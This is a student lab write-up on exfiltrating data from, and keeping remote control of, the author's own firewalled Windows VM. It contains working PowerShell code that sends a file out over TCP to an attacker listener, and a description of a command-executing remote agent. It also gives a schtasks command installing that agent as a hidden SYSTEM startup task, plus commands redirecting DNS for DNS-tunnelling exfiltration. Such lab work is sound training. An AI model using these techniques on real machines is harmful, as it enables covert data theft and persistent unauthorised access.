

NW Project 3 - Agent 007

A cybersteps project

Date: 11. October 2025

Participants: Gregor

Executive summary:

A virtual machine running windows simulates a windows system in a heavily restricted network. The firewall is strict: no inbound connections are allowed, and outbound traffic is limited to a single port - 7007.

The goal is to exfiltrate valuable data, deliver files into the machine and retain remote control even after the direct access disappears.

Step 1: Setting the VM up

After installing the VM, I changed the network settings to Bridged (Autoconnect) and made sure, the VM is in the same network/subnet like my mac.

After allowing incoming ICMP on the Windows-machine, pinging in both directions worked.

Locking up the VM

After that I set up the firewall to block all incoming traffic and allowing outbound traffic only on port 7007. (I also allowed outbound UDP-traffic on port 67-68, for DHCP, but I didn't used that connection in the project.)

Step 2: Simple file transfer

I didn't want to install any tools beforehand, that is why I decided to do the sender on the windows machine in powershell:

```
param(
    [string]$server = "192.168.0.205",
    [int]$port = 7007,
    [string]$filepath = "C:\Users\mudfa\Documents\secret.jpg"
)

#get filename
$filename = [System.IO.Path]::GetFileName($filepath)
$filenameBytes = [System.Text.Encoding]::UTF8.GetBytes($filename)
```

```

$fnLen = [uint32]$filenameBytes.Length

#open file stream
$fs = [System.IO.File]::OpenRead($filepath)
$fileLen = [uint64]$fs.Length

$tcp = New-Object System.Net.Sockets.TcpClient
$tcp.Connect($server, $port)
$stream = $tcp.GetStream()

#filenamelength
$fnLenBytes = [System.BitConverter]::GetBytes($fnLen) # little-endian on
Windows
$stream.Write($fnLenBytes, 0, $fnLenBytes.Length)

#filename
$stream.Write($filenameBytes, 0, $filenameBytes.Length)

#filelength
$fileLenBytes = [System.BitConverter]::GetBytes([uint64]$fileLen)
$stream.Write($fileLenBytes, 0, $fileLenBytes.Length)

#stream the file in chunks
$bufferSize = 64KB
$buffer = New-Object byte[] $bufferSize
while (($read = $fs.Read($buffer, 0, $bufferSize)) -gt 0) {
    $stream.Write($buffer, 0, $read)
}
$stream.Flush()

$fs.Close()
$stream.Close()
$tcp.Close()
Write-Host "Sent file: $filepath (size: $fileLen bytes) as filename:
$filename"

```

The receiver on the macbook is written in python. It is a simple socket-server, which listens on port 7007:

```

import socket, struct, os

HOST = "0.0.0.0"
PORT = 7007
received_files = "received_files"

```

```

def recv_all(sock, n):
    data = b""
    while len(data) < n:
        packet = sock.recv(n - len(data))
        if not packet:
            raise ConnectionError("connection closed early")
        data += packet

    return data

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen(1)
    print(f"Listening on {HOST}:{PORT} ...")
    conn, addr = s.accept()
    with conn:
        print("Connected by", addr)

        #filenamelength
        raw_fn_len = recv_all(conn, 4)
        fn_len = struct.unpack("<I", raw_fn_len)[0]
        print("Filename length:", fn_len)
        #filename
        fn_bytes = recv_all(conn, fn_len)
        filename = fn_bytes.decode("utf-8", errors="replace")
        print("Filename:", filename)
        #sanitize filename
        filename = os.path.basename(filename)
        outpath = os.path.join(received_files, filename)

        #filelength
        raw_file_len = recv_all(conn, 8)
        file_len = struct.unpack("<Q", raw_file_len)[0]
        print("Expecting", file_len, "bytes")

        #receive file
        received = 0
        with open(outpath, "wb") as f:
            while received < file_len:
                chunk = conn.recv(min(65536, file_len - received))
                if not chunk:
                    raise ConnectionError("connection closed while
receiving")

                f.write(chunk)
                received += len(chunk)

```

```
print("Received", received, "bytes. Saved to:", outpath)
```

The sender sends the filename-length in the first 4 bit, then the filename and after that the file-length. Lastly it sends the file-data itself. This ensures secure file transference.

Step 3: Remote control

The next step is to implement remote control to the windows machine. Again I chose powershell for the agent ('agent2.ps1') on the windows machine and python for the controller ('controller2.py') on the "attacker"-machine.

The controller is a socket-server which listens on port 7007. When the agent connects, it exchanges an authentication-token and waits for commands sent by the server. These commands are then executed in powershell and the output is afterwards sent back to the server.

This way I am able to have powerful remote access to the windows machine via powershell.

Then I added 'PUT' and 'GET' commands to the scripts to push files to the target-machine and download files through this remote-connection.

To keep the agent running, I added the powershell-script to the scheduled tasks as a system-process:

```
schtasks /Create /SC ONSTART /TN "remote-agent" /TR "powershell -WindowStyle  
Hidden -ExecutionPolicy Bypass -File C:\ww\agent2.ps1" /RL HIGHEST /RU  
"SYSTEM"
```

Now whenever the windows-machine is started it automatically connects to the listening server.

For the following steps, no more direct access to the windows-machine is needed

Step 4: DNS-Mimicry to exfiltrate data

Preparation:

Open outbound-traffic on port 53.

Since I am more proficient in python than powershell and I have the ability to put files to the machine, I began by installing python on the windows machine.

For that I downloaded a python-installation-file for windows and put it with the remote-controller

on the VM.

The '/quiet'-argument ensures a silent installation in the background.

```
put python3.exe c:\ww\python3.exe

c:\ww\python3.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0
Include_pip=1
```

Disclaimer:

I disabled the firewall for the python-installation, to enable downloads. I also pip-installed needed modules this way.

But I researched, that it is possible to create a python-installation-file, which doesn't need any downloading and which also can include necessary libraries.

Due to time-restrictions I chose the quick and easy way and disabled the firewall for the installation.

Change the default DNS-server on the windows machine

I made a simple DNS-server on my mac, which listens on port 53. ('dns-server.py')

With the remote-controller I changed the default DNS-server on the VM:

```
netsh interface ip set dns name="Ethernet" static 192.168.0.205 primary
```

I also disabled the ipv6-DNS.

```
Disable-NetAdapterBinding -Name "Ethernet" -ComponentID ms_tcpip6
```

DNS-Extractor

Through the remote-controller I put the 'DNS_exfiltrator.py'-file on the windows-machine.

This script reads a file, encodes it to base64, divides it in parts of 20 characters and add this as a subdomain to a predefined domain. After that it sends a DNS-request with 'nslookup' for the subdomain/domain-combination.

Since I changed the default DNS-server on the windows-machine, the requests get sent to my mac.

Receiving files

To receive a file through DNS-traffic, you have to start a wireshark-capture and run the 'DNS-exfiltrator.py':

```
py c:\ww\DNS-exfiltrator.py <file> <domain>
```

- path to the file you want to extract
- custom domain (e.g. 'thisisanexample.com') You need this later to extract the data.

When the DNS-exfiltrator.py is done sending stop the capturing in wireshark. Save the capture as a .pcap-file.

To decode the transferred file run 'DNS_Decoder.py'.

```
python3 DNS_Decoder.py <capture-file> <output-filename> <domain-name>
```

- The captured .pcap-file
- Filename of the transferred file
- The custom domain you specified with 'DNS-exfiltrator.py' ('thisisanexample.com')

What could be added in the future?

The next step would be to control the remote-agent over port 53 with DNS-traffic-mimicking.